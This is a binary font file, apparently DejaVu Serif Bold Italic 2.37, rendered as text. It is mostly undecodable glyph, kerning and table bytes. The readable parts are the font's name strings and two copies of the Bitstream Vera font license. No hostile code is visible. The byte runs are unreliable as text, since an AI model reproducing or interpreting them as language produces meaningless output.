pJp���Z���9�D#.:$!2!#!"'3 # &767&767&'6&#"2632676!"�IC�h��C%����ZI*��K�%�w��L�1#|5\]c5�a��H�ư���|�y]���)"H�~�[�NnTNyfS�ww��uu��"#7�N;R�����%733267##7!#!7+!"&g.�<Laj(j�G�
�������/��S�'�^X��!�!\yy���y�Z��"��J�
)3!	!#!(��R{��R�%{@/����`��L�n��D%26&" ! ;#"&op�d5�c6[��33y33�t� qy3,��T�����q+)������\#'���
'#7!#3!733!73#7!#��������\�����J�g�w���yy���Fyy��yy��yy)�')!���x���q'�R��`T��D#3373#726&" ! lk>klk>k�p�d5�b6t���33y33�j>jj��j�p�����q+)������'73!3!#!##3373#7�yO�>Oy�DyO�Oy�,k>k�k>k0j�f�j�j��f�j>jj��j���'
	!73!	!#7!~�u�jY�T���)j����j�4'�ji�'#!#2#3!737"$$37#"26&&���:�����o���:G��\GU:3\GU:3'yZ��իZyyZ�+�Z�x�X��X�%X+X��(D"%!73!7>76&"!73!.7632Ry/�(!�$Uʥ$9(�/y��,���8*��Q��̝��ϻ����Q@��
������r��cu�������u������Ru���)''6&+7!"3!73>3!!"&'73326f�{.���~ ^��o�a/��6���z��=�7,x	#XD`�\wG���yy���y���S���Dhh��a�#7!#326#7!#! ���{�6����6�{���B�������C\yy������yy�����&U��8�##73#73#7!$3#!'376!%6'&+$�s��f�����K�o��鉁A��d!AO�fyP�
y�������y��.��}�������k(37367632#7!3#!7#"'&547!3276?6'4'&#"C`8���p�c�����[��=�p�dC�
mi@?$ hn>5)�y܃�QS�x�<y�)�SQ�d�06dC7"XSQ�y^C='SXL����	�*.#"!!3267#7!# '&7#7367!2C����B��5I�T�CO�p����������F��)�GƱ�����r�&&�x��NLϚ�i�@A���9�D/9&#"!73676! 3#"&'73326?#"767!32767�@�r/"��oqN��MyO��Y0��j�m2q7<���'z���+�$=mh@>%l<�Bvyy���`�ly�7�dz!!�	\/3��y�����SQ�^�n�,_<���+���+�����f	)��3����fd
��f����+����T�x9s�����/-����RT���]�_��������$�w���&�1�|�����������5�_��^U��������U���������������P���U���e�����_��5m�g5���g���N������/F�2�E�Dq���.�E
E��E
Ewr�rVE�3�k7r����c���*�=��������%��%����r���L�:�/��O�
���RT?�������@�����PeXPXPX�5�_5�_5�_5�_5�_5�8F�0^U�����������������������P���U�U�U�U�U�������������g���d/F/F/F/F/F/Ft8�EDDDD
u
u
]
uV!�rVEVEVEVEVE��V�����������������5�_/F5�_/F5�_/F^U�E^U�E^U�E^U�E���������D��D��D��D��D�U�.�U�.�U�.�U�.����E����E���
u���
u���
u���
l���
u���E�������E�u���
E���
E���E���tE�����P���rP���rP���r��F���UVE�UVE�UVE	qV9F���7r���7r���7r�����������������_�c�_�c�`��������������������������g�=�g����g���������������q���2�=����������^^B�1����=�"�VO���V�����q���B*�XF��������F
���w�P�����U�TVF	�t�{�=�����J�/���������V�S������Q�g��������A��AAA���������J���.\1�1���\1��{��
#	i������D��
5���q5�_/F���
u�UVE��������������������]5�_/F5�_/FF�0�8*V����*�����"�UVE�UVEA���������{��
#�/���	��L��P����5�8/FF�0t8���V��5�_/E5�_/E��D��D���
 ���
D�UVD�UVD���7q���7q�������������_�c���������D�FS-�	����5�_/E��D�UVE�UVE�UVE�UVE�g�����a��w��@'@x5�U^�j������7�'�H��a����75�_��D�����}�l���7.�*���/�(T(/�3��_�P�'E]BR�3~��B���S����1T�f����F�r

�
��E1L
Z]nw�w�w������VT}��E`O���������7J7��r�|�������
���q��R�����O�W�>oN���+�>�����������h h�h��\Z�V����"�'�������Mh h��'	oM�6�a�}�eP���F]FLD��������,l&g���O�O �87 V'��jo+o�T�T���9�F�	�-�����6B�?�B�����������#\#]\	�8*W��@Vg((���-*��w;�mnpB�|���������������
�z�>��������������������.���3�P��t���r�����������������,���9���������b�����w�������5�g�i���\�����z�'������#�;���vl$7FjojE���h��-�E�-�����O5�_���W	WKWW�WJ��5�_�����5����������U�����5�_��P������U���������_�g�U5��N�������g(T�3������(TP��H�V%�3�M��VT���������@�u�8VE��R���z�Vbw��=�C�����W����VE���W�VT�f��W��M�W=<�|Vz^|�j���8���"G�^V3=R.�E��U�E�-���^U������^^U^����6���]V���������	���
�����G�����~O�����������������
���������G����������U�����^U�_~O�N5�����N�
%��
X���U	������]
L����/F�PAD�r�FD
r1����js���sVE�r�3�Ewr��7>��m���w�	��%$�G�)Fs^DD�>�r�E���
E
u�s�Fjs������@fs	�����
:
��	���}�b�U8FS��fS��f�<cd����v����r�����
��
r�18���sG��jsTU,���qs	W���s
�����^U�E�_	#s�g�a�g�aO����-�GN�U�H���E���
��
r�����������J��
�����/F���/FF�0�8��D�V]�V]
��
r�1A����������������UVE�UVT�UVT])F~O��~O��~O��N�������r	���$���"���	���
�ek9g�=�����&rE)���4������	��& l����	��������9Y8�����(O?�������F)�>�����O]w(v���"����P!��A�uF��X�� ���>���=pz���6�i#�r������F��$:�|0������6����x�#�G�H���Z��g�l��y�Y��z�qRw���R�Rq���_�+�r��F����
y*T��y1�	�_9���}�|s��	(X��K��jz �]�}������
�e���X���;�������	�~��7S���)I%��7��S�QG�H�k�F<FPP�&��XB�jx�k��K,��u._��� !A(	��e��A(A7�������]#�?q����a8�V�����!��"��tX����Tf��f���������}��������hVE�"THV|9\�V�V����hh��q.�O��c?>���+�>���������j�����!�������������6�}B��B��^�����<M6��[��b�4a������������`c6���0���<ez�AD,D\�5�7�X�/�L�\K5KA�>fn0V�r���Mk2�����Y�v)�X����
��X��Se\�UP���,O�)���X��SeZ���UP��W�����
��
@�3.(o��
���kMjb�6K8+������@-�f1t�ffV����c�#pt����������V.S3%����)`�RCL�����71L ��V���D�������5�_/E���1���1���1^U�E�����������������D��D��D��D��D���q���U�.����D����E����D����D����D���
�"���
u���D���D���D���
.���
.���
�j���
���wq��wr��wrP���rP���rP���qP���r�UVE�UVE�UVE�UVE���3���3���7q���7`���7`���7�����������������������_�b�_�c�^�-�_�����������������������5l�)5m�*�g�=�g�=�g�=�f�<�g�=5����5�����g�������������������D�b�<���Eq��q��q�����V%5�_/E5�_/E5�_/F5�_/F5�_/F5�_/F5�_/E5�_/F5�_/F5�_/F5�_/F5�_/E��D��D��D��D��D��D��D��D���
D���
@�UVE�UVD�UVE�UVE�UVE�UVE�UVD�TVF�TVF�TVF�TVF�TVF�����������������������������g����f����f����f�������F(T(T(T(T(T(T(T(T5�_5�_�}�������5�_5�_�3�3�3�3�3�3W�E�	[}	[��t����������������������
�}
��
;t
w�	��	�������[�q���x�������}�dt������VEVEVEVEVEVE4�z�	�}	��Gt������������������`�	|�	�&��W�W�W�W�W�W�W�Ws&�h
%}
1�ot��/�{�(T(T�3�3��������VEVE�����W�W(T(T(T(T(T(T(T(T5�_5�_�}�������5�_5�_��������������������
�}
��
;t
w�	��	���W�W�W�W�W�W�W�Ws&�h
%}
1�ot��/�{�(T(T(T(T(T(T(T5�_5�_}��5�_5�_���O�����������}�W	�}�W�����m�������������������}KW��f��������R��R�������g�g&}�WH�OO�W�W�W�W�W�}W�}J�����V����RTRT�WVV���T�C����T�C���/d/��''��d���x�x�
J�J
J��3�3e��/-V���O�������`��/-�M/lsd���1�,�	��,�H��9�9�9�bzb���H�1�P���	��,�H��9�9�9�bzb��D,�L�M���\,l0VVg�r�H�Y((�v������	=��Q�����U�o������	�����E�F������Q��5�8���I�9^���H9H9�9H9HH9HHH	H9HH9HHHH�9������	���	��5m	3n3n3n	��5��	�������^U����
EE	E�E�*�*
�*
�*�E����
��
E�E�wr

L��
%L^�-^|H1�L���u���L���.���.�L�u�n�W�L���u���L�d�L���u�����L�u�L�u�L�L�_����������-������u�����F�F�����u�u�����L�Z�L�L����u����F�F�L�L�u�L���u���L���.�����.�L�u�L�u�����L���u���u�u�L���u���������������u�������u�Z�u�L�u�L�L�u�L�L�u�L!	FL����))���������/�/�������]��&�&�BHBHBB`�����������<�0�55�����11!1�������������������������������������������������������������������������������������������������������������������/����N���N����Ol������-��x����]�����]�s�ss�s������7��������<�<����<�<������������������������������������������������������������������������������������������������������������������������������<�<������x��x�x��������x�x��������x�x����������������������������������������h������h����������'��'��'��'��'��'��'��'��'��'��'��'��'��'��'��'��'''''��'q'��''��'��'��'��'��''��'����������������������l�l�����g�g�'''''''''''''''''�p��p�r�p�p�p�p�p�p�p�p�p7p7�T��������p�p''''�3����������'''�p���������p�p�p�p'''��������',�,�,�,�,�,�������,�,S,�,�,,�,C,�,X,�,B,�,X,����,x,��������u�	�����������������DuxLxuxLxLxuxLxLxuxLxuxu@@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@�@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,�u�u�L�u�L�u�L�u�����T�T�L�u�L�u�d�n�����d�d�d�d�d�u�d�u�d�L�u�L�u�.�.�.�����.����.���������W�+�+�-�M�E���i�O�O�i��,���L�L�L�u�L�u�L���F�F�����F���F���u�u�����u�u�����F�u�����F�u�����F���u���F�F�F�F�F�F�u�u�����u�u�u�L�u�u�LBL�u�u�L�L�P�6�����A1�3�3��������/���/�L�L�������/���/�L���u�u�L�L��������''''�����
�����'����F���F������<�V5����(	�g�;;���v=f���V��������B��/�An�C�M��Z��Z��+V�M�+V�Y�����Z)V)B�Z����'V+V)V2|��|���sBi��6��m(�,V�WP�������+�N�����J�/��
�
�U�%
Ly4Z
L��;��V{T*��w;;;;;;;;;;;�]6f6R6������r�E�����+�������
h�_�G
�_�G	X�3G �_�G �_�)��G^�-���FS�����(���V{TL���6�G7I�v
3�G�I�G7I^Y�W�Fs�N�P��~s��<��.,����ho�����
I�_��*I'����_�wK�]�
��	-C2`�
�3���C��!����	5��g:*C�h������F����Y��D�;�
uV�.��w�z����������	+��������5�_��^U��������U���������������P���U���e�����_��5m�g5���g��/F�2�E�Dq���.�E
E��E
Ewr�rVE�3�k7r����c���*�=��������5�_�����5����������U�����5�_��P������U������U����_�g�U5��N���)(TP��H�V%�3�M��VT���������@�u�8VE��R���z�Vbw��=�C�����WFL�E�f=�MR.�W�6�D����R���4��P���R��
l

*�
�"
@���������	+��P���!�rx3xMx�xgxgxMxMx)xgx)x\x)xxxxbxgxgxgx�����P���Vn��!)VT���io���r��R����0�����a����
7��9�k:��;�k<���&��:�$7��$9�k$:��$<��$I��$W��$Y��$Z��$\��$���$���$���$&��$'��$:��$��
$��
$��$��%&%&&%*&%2&%<��%�&%�&%�&%�&%�&%�&%�&%���%�&%�&%�&%&%:��&��&��'��'&'��'9��(&)�2)��)�2)��)��)$��)D��)H��)R��)U��)X��)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)���)��)��)��)��)1��*��*&*��-��-�a-��-��.�k.$��.&��.2��.8��.:��.<��.H��.R��.X��.\��.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.���.��.��.��.��.��.0��.1��.:��/7�Y/8��/9�
/:�u/<�}/\��/���/���/���/���/��}/���/���/&�Y/0��/:�}/��/��/��/��1�}1�}1��1��2��2K2��29��2;��3��3��3��3��3��3$�k3D��3H��3R��3��k3��k3��k3��k3��k3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3���3��3��3���3���4��4K4��57��59��5:��5<��5D/5\��5���5�/5�/5�/5�/5�/5�/5�/5�&5���5���5&��5:��5���5���6��6K6��66��6 ��6"��7�7��7��7��7��7$��77��7D�<7F�7H�7R�7U�k7V�D7X�D7Z�7\�7m�k7}�k7���7���7���7���7���7��<7��<7��<7��<7��<7��<7��a7��7��7��7��7��7��7��7��7��7��7��a7��D7��D7��D7��D7��7��7�7�7�7�a7�k7�k7!�D7#�D7&��71�D7��k7��k7��k7��k8�D8��8�D8��8��8$��8���8���8���8���8���9��9�k9��9�29�29$�a92��9D�D9H�D9L��9R�D9X�}9\��9��a9��a9��a9��a9��a9���9���9���9���9���9���9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��D9��}9��}9��}9��}9���9���9�D9��9�D91�}9�&9���9�&9���:��:��:��:�u:�u:$�}:D�N:H�Y:L��:R�Y:U��:X��:\��:��}:��}:��}:��}:��}:��N:��N:��N:��N:��N:��N:��u:��Y:��Y:��Y:��Y:��Y:��Y:��Y:��Y:��Y:��Y:���:���:���:���:���:���:�Y:�Y:��:��:1��:�&:��:�&:��;��;$��;&��;2��;���;���;���;���;���;���;���;���;���;���;���;���;��;��;��<��<�2<��<�<�<$�}<&��<D�a<H�N<L��<R�N<X�N<��}<��}<��}<��}<��}<���<��a<��a<��a<��a<��a<��a<��a<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��N<��<��<�N<�N<1�N=��=��I��I��I��I��I�AI��N��R��U�kU�DU�KU�KU�KU�KY�YY�2Y�KY�KY�KY�KZ�YZ�2Z�KZ�KZ�KZ�K[��\�<\�\�K\�K\�K\�Km-��m7�km&�k}-��}7�k}&�k�7���9�k�:���<���I���W���Y���Z���\���������������&���'���:�����
���
�������7���9�k�:���<���I���W���Y���Z���\���������������&���'���:�����
���
�������7���9�k�:���<���I���W���Y���Z���\���������������&���'���:�����
���
�������7���9�k�:���<���I���W���Y���Z���\���������������&���'���:�����
���
�������7���9�k�:���<���I���W���Y���Z���\���������������&���'���:�����
���
�������&�������&�&�&�&����K����$���9���<���������������������������:����}��}����������K����9���;������K����9���;������K����9���;������K����9���;������K����9���;������K����9���;����D�����D�������$������������������������D�����D�������$������������������������D�����D�������$������������������������D�����D�������$���������������������������2��������$�}�&���D�a�H�N�L���R�N�X�N���}���}���}���}���}�������a���a���a���a���a���a���a���N���N���N���N���N���N���N���N���N���N���N���N���N���N��������N��N�1�N����&��������������������������<����K��K��K��K��������<����K��K��K��K����������������&����9���&����&����7�Y�8���9�
�:�u�<�}�\���������������������}���������&�Y�0���:�}�������������7�Y�8���9�
�:�u�<�}�\���������������������}���������&�Y�0���:�}������������O�7�Y8��9�
:�u<�}\����������������}������&�Y0��:�}������	�}	�}	��	��&7��9��:��<��D/\������/�/�/�/�/�/�/�&������&��:���������k�D�K�K�K�K7��9��:��<��D/\������/�/�/�/�/�/�/�&������&��:���������k�D�K�K�K�K �� K �� 6��  �� "��"��"K"��"6��" ��""��&�&��&��&��&��&$��&7��&D�<&F�&H�&R�&U�k&V�D&X�D&Z�&\�&m�k&}�k&���&���&���&���&���&��<&��<&��<&��<&��<&��<&��a&��&��&��&��&��&��&��&��&��&��&��a&��D&��D&��D&��D&��&��&�&�&�&�a&�k&�k&!�D&#�D&&��&1�D&��k&��k&��k&��k0�D0��0�D0��0��0$��0���0���0���0���0���:��:�2:��:�:�:$�}:&��:D�a:H�N:L��:R�N:X�N:��}:��}:��}:��}:��}:���:��a:��a:��a:��a:��a:��a:��a:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��N:��:��:�N:�N:1�N?��?��}$��}���}���}���}���}���}��7��9�k:��;�k<���&��:��$��������������������������$���99�:9�;9�<9�������������������������9�:9�7���9���:��;�<�D�Y���Z�����D�&���:�D�-���7�k�&�k�-���7�k�&�k��k�$���&���2���8���:���<���H���R���X���\������������������������������������������������������������������������������������������������������������������������������������������������������0���1���:�����,,,,p��d<X��,`����P��t�4��|�	@	�	�	�

|t�<�

X
� ��\��@����H��H���Ht�������X��h�@�0�t�x� 8 �!8!T!�"<"<"�##l$$�$�%�%�&�'\'�'�'�(�(�)@)�)�*d*�*�+0+\+�+�,4,�,�,�,�-P-h-�-�-�-�.T.�.�// /8/P/h/�/�/�0$0<0T0l0�0�0�0�1�1�1�1�1�22t3(3@3X3p3�3�3�4h4�4�4�4�4�4�55(5@5�5�66,6D6\6t6�7`7x7�7�7�7�8\8t8�8�8�8�8�99949L9d9|9�9�9�9�9�::�:�:�:�;;;0;H;`;x;�;�;�;�;�<< <8<P<h<�==x=�=�=�=�=�>> >8>P>x>�>�>�>�>�??X?p?�?�?�?�?�@@@l@�@�@�@�AA$A<ATA�BhB�B�B�B�B�B�C�DHD`DxD�D�D�D�D�EE E8EPEhE�E�E�E�E�E�FTF�F�F�GG G8GPGhG�G�G�G�G�G�HH(H@HXHpH�H�H�H�H�IPI�J�J�K8K�L,L�M0M�M�NXN�OtP PxP�Q�RR�SLS�ThT�T�UlU�V V�W<W�XX�X�X�YXY�ZPZ�[�\(\�\�]�^^P^�_8_P_h_�```�aDa�b0b�cc|c�dxd�e\e�f(fHf`f�f�f�gg$g<gTglg�g�g�g�g�g�hh,hDh\hth�h�h�h�h�iii4iDi\iti�i�i�i�jlkk4kLkdk|k�k�k�k�k�ll$l<lTlll�l�m0m�m�n n�oxo�o�o�o�o�pp p8pPphp�p�p�p�p�p�qq(q@qXqpq�q�q�q�q�rrr0rHr`rxss�s�s�t,t�uxu�vPv�v�v�v�www4wLwdw|w�w�w�w�w�xlyy�y�z�{\{�||}}X}�~�x��l������\�����|������`��h�x�������<���8���X�����l���D���|���h���T���\�t�����<�����l�����$����X���X���h��������@�����@���p���t�������<���<�����L����|���d��\����|��������$�t���D���$�������\������$���H���$���D���@�����h��l������0�\������t����0�X�������������4�H�t����������@�t���������t���<�|����4�`��������$�8�L�`�t���������������h�|¤������(�dÐ��� �<�P�dČİ����XŀŨ�����8�xƌƠ��� �4�H�hǐ�����,�h�|ȐȤȸ�<�X�tɔɴ����Hʬ���H�d�t�tˈ��� �0�@̀������Ḧ́ʹ���������4�L�d�tΐά�������,�<�Lτϰ������l�|Ќ�������T�d�tф������ҌҜ�@�������(�@�X�p�հ�ּט��\����l���<ڤ�0�@ۈ��d����|�<��ߤ�X�p������<���\�������T�,���|���<���(����`�p�����t�����L�������,�D�����h�x����X��l�����$�����\�l�����|�������\�l�|�����������l���8�������������\���X������H�X�p���X��(8HXh<L�H��D�@�<���l��,<�	`	�	�


0
�`��

�x<�$4��D\t�t��,�@�lh���8�D�@�8�(���8 d�(� ( �!<!�"X"�"�"�"�##�$@$�%H%�&<&p&�&�&�&�&�&�'' '0'@'X'p'�'�'�'�'�'�(( (8(P(h(�(�(�(�(�(�)))0)H)`)x)�)�)�**�*�*�*�+p+�,�- -�-�-�-�-�.�/</�0�11�2@2�3�4X4�5 5�6�77t8`8�9�: ;;�<4<�=T=�>�?h?�@tADA�B�CC�D�E(FFFHFhF�F�GLGpHH�I(I�J J�J�KpL<L�M<MlN(N�O8O�P�P�Q�R�R�S�T@T�ULU�V�WdW�XTYYtZ0Z`[[�\<](]�^^8^�_�`l`�a�bb�cdd(d�e$e�f�g`h\ii�jLj�k|lxm4m�n`n�o�pp�q�r�sPs�t�uPu�v�ww|xxy0z {|0|�}���|�\�����������d���X�����X��@��(�������t�h������`�T���x�����\�<����`���0���t���,���������4�����H������d���X�������d������P���@����\����t���$�d�����X�����������H����d�����L�����4�����`���8�x���,�������<���T���8���t�(ń���h���`Ǹ��� Ȭ��x���hʜ�˨�̨�d�� �4�H�\�p΄�������l�|���Ѹ�8���<���D���h��p���T׸�$�`ؘ��ٌ���$�\�ۜ�܈���8���x���X���\��$�h���T���8������,�\��������� �8�P�h����������(�@�X�p����������0�H�`�x��������� �8�P�h����������(�@�X�p����������0�H�`�x��������� �8�P�h����������(�@�X�p����������0�H�`�x��������� �8�P�h����������(�@�X�p����������0�H�`�x��������� �8�P�h����������(�@�X�p����������0��4�������,�D�\�t������������$�D�\�t������������$�D�\�t�������������4�L�d�|�����������4�L�d�|������������$�<�T�t������������$�<�T�l��������������,�D�\�t�������������4�L�d�|�����<�T�l��������������,�D�\�t����������4Lh������,D\t�����$<Xt�����4Pl�����4Ld|�����(@Xp�����4Ph������(D\t�����,DTl|������		$	<	T	l	�	�	�	�	�	�

,
D
\
t
�
�
�
�
�4Ld|�����$<Tl������

,
D
\
t
�
�
�
�
�4Ldt����4Ld|����� 8Ph������$4Ph������ 8Ph������0H`|�����(((((((((((((((((DTp����� Lx�L�<��<��<Tt����D\��4l����,l����  D D D D D D D D D D D D D � �!H!�"X"�#@#�$$$$L$�$�%,%@%T%h%|%�%�%�%�%�%�&&&0&D&X&l&�&�&�&�&�&�&�'' '4'H'\'�(�)|*,*�+�+�,`,�-`-x-�-�..�/D/T/�/�00\0�0�11L2$2h2�2�2�2�3303P3p3�3�3�3�4404P4h4x4�55d5t5�606�7$747�888H8X8h8x8�8�8�8�8�99 9H9`9p9�9�9�9�9�9�:x;<<|<�=P=p=�=�>>0>x>�>�?(?\?�?�@(@�A(AtA�BBTB�B�C$C`C�C�D0D|D�E0E�F$F�F�GG@GxG�G�H H|H�I I<I�JJ0JXJ�J�J�J�K KDK`K|K�K�K�K�LL$L@L�M M�M�M�N8NtN�O$OlO�O�P@P�P�QQhQ�RRlR�SS\S�S�T TdT�T�ULU�VVdV�W@W�W�X$X�YY0Y�Y�Z4Z�Z�[H[�[�\0\�\�]D]x]�^^8^�_(_�``T`�`�aaLa�a�a�b<bhb�c@c�d d�d�d�eeDele�e�ffXf�g$g<g\g�g�h�iiXi�jjhkk\k�ll|l�m<m�m�m�n(ntn�o4o�ppXp�q(q�q�q�rrHrlr�s<s�t<t�u,u�v\v�wDw�w�x4x|x�x�x�yy8yhy�y�zz@z�z�{0{�{�{�|(|L|t|�|�|�}0~~@~�~�(����T�p������8�\�x��������<������� �x�������$�@�\�x������8�t�����4����������4�X�|��������,�L�l��������,�X��������,�T��������0�X��������(�T���������$�L�t�������$�X�������(�\������<�p������@�d��������8�d��������P�|������4�h������@�t������X�������D������D�t������� �<�X�t����������$�L�p�����������8�T�p������������4�P�d�0�������������@�\������������<������`���$���l����������D�d��������� �<�h����������@�\����������4�`�����������$�������� �x���0������8�t���@��������H�������� �8��������(�d������p�����0�p���p���p��������0�\�x���������|��0���h���d��Ǹ�d���@���,��˔����<�|���<Μ���8����d����0�XѬ��|�����,�t԰���DՀռ��Lָָ�������,�H�l׀ל׸�����@�l؀؜ظ�����@�lو٬���� �L�xڬ������8�\ۀ۬������<�`܌ܸ����,�P�|ݠ����,�P�|ި����<�p߬������8�\��������<�`������,�P�|�����,�P�|�����<�p�������<�`������<�h�����0�l������H�|�����L�����,�h�������8�\��������<�`������,�P�|�����,�P�|�����<�p�������<�`������<�h�����0�l������H�|�����L�����,�h��������<�`��������<�h�������0�l��������H�|������L�������,�h�������(�\�������,�X�������0�l������L������,h��X��`���4�L�� h��$l�0�		L	�

�
�x��0|��
H
�
�,��(|�D�P�l�|�\��,t�p�$��<�<��8��0�X���Hx��@t��Dx��  8 h � � �!!0!L!h!�!�"$"d"�"�##4#P#l#�#�$\$�%,%�&&d&�''�'�(<(�(�) )@)h**�*�+(+�,,P,�,�-X-�-�-�..L.�.�.�/4/l/�/�00@0l0�0�0�1 1P1�2,2�2�3T3�4X55x66d77�88T8�99�9�:<:l;$;�;�<P<d<�=�=�>�?|@�AxB,CC�D�EDE�F�G�HTI4I�J�K�L8L�M�N�O�PlQQ�RDR�S�T�UtV0WXX�Y0Y�Z�[�\L\�\�\�]]@]�]�]�]�]�^^�_d_�`T`�`�aa,aXa�a�a�bb0b\b�b�b�b�c cHclc�c�ddLd`d�ePe�f�g$g�hhhii�i�j�kk�lPmm�n$n�oo�p8p�q|q�q�rrpr�r�s|tt�u4u�u�v,v�v�v�wXw�xxXx�yy4yTydy�zhz�{`||d|�}}p}�~~�t�d���@�,�L�@�����8�����������<�l���x���@�8�������4������$��������(�8�����`���<���T���H�$�����������������������������������������������������������������,�<�L�\�l�|�������������������,�<�L�\�l�|�������������������,�<�L�\�l�|�������������������,�<�L�\�l�|�������������������,�<�L�\�l�|�������������������,�<�L�\�l�|�������������������,�<�L�\�l������|������� �X���������8�d���������,�4�,����������$�@�\�x���������� �<�X�t�����������4���h¨�Äð�0Ę���\������Ɣ��t�Ȭ�d
�	+�@+>_�:_��V��
	�%4 # r �	�	 	G	0k	0�		,(	"m	:�	
&�	h�	 X	 Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
DejaVu SerifDejaVu SerifBold ItalicBold ItalicDejaVu Serif Bold ItalicDejaVu Serif Bold ItalicDejaVu Serif Bold ItalicDejaVu Serif Bold ItalicVersion 2.37Version 2.37DejaVuSerif-BoldItalicDejaVuSerif-BoldItalicDejaVu fonts teamDejaVu fonts teamhttp://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
Fonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
http://dejavu.sourceforge.net/wiki/index.php/Licensehttp://dejavu.sourceforge.net/wiki/index.php/LicenseDejaVu SerifDejaVu SerifBold ItalicBold Italic���~Z
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�����������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~�������	
�
